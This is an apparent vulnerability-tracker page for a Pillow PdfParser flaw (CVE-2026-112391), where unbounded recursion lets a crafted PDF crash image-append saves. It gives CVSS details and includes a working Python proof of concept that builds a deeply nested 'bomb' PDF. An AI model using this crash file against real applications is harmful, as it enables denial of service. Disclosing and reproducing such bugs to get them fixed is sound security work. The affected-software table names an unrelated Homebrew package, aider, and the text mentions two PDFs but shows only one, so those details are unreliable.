VulnerabilityPublished 22 Oct 2026Updated 29 Oct 2026

CVE-2026-112391: Pillow · PdfParser can recurse without limit in get_value() and linearize_page_tree()

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Authoritative record:CVE-2026-112391· Medium 6.3

Not known to be exploited · CVSS 6.3 Medium.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

6.3Medium

How severe the flaw is on the 0–10 CVSS scale.

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: Present
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: Low
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: Present: The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: a race condition must be won to successfully exploit the vulnerability (the successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker, or the attack may need to be launched multiple times against a single target before being successful); the attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Vulnerable System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 19 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
Homebrewaider`pkg:brew/aider`Other threats	Affected >=0.86.1_1	Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch. ### Details **`get_value()` in `src/PIL/PdfParser.py`** This is a classmethod that takes `max_nesting: int = -1` and has a guard: ```python if max_nesting == 0: return None, None ``` Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else. This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() . ### Steps to reproduce Both PDFs below are plain text, built directly in Python, no PDF library needed. ```python from PIL.PdfParser import PdfParser def build_pdf(root): out = bytearray(b"%PDF-1.4\n") offset = len(out) out += f"1 0 obj\n".encode() out += root out += b"\nendobj\n" out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".encode() + b"n \n" xref_offset = len(out) out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".encode() + b"n \n" out += b"trailer\n" out += f"<< /Size 2 /Root 1 0 R >>\n".encode() out += b"startxref\n" out += f"{xref_offset}\n".encode() out += b"%%EOF" return bytes(out) bomb = b"[" * 3000 + b"]" * 3000 root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>" with open("nesting_bomb.pdf", "wb") as f: f.write(build_pdf(root)) PdfParser("nesting_bomb.pdf") # raises RecursionError ``` Expected: a clean `PdfFormatError`. Actual: raises a raw `RecursionError: maximum recursion depth exceeded`. ### Impact - Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none. - Integrity: none. - Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

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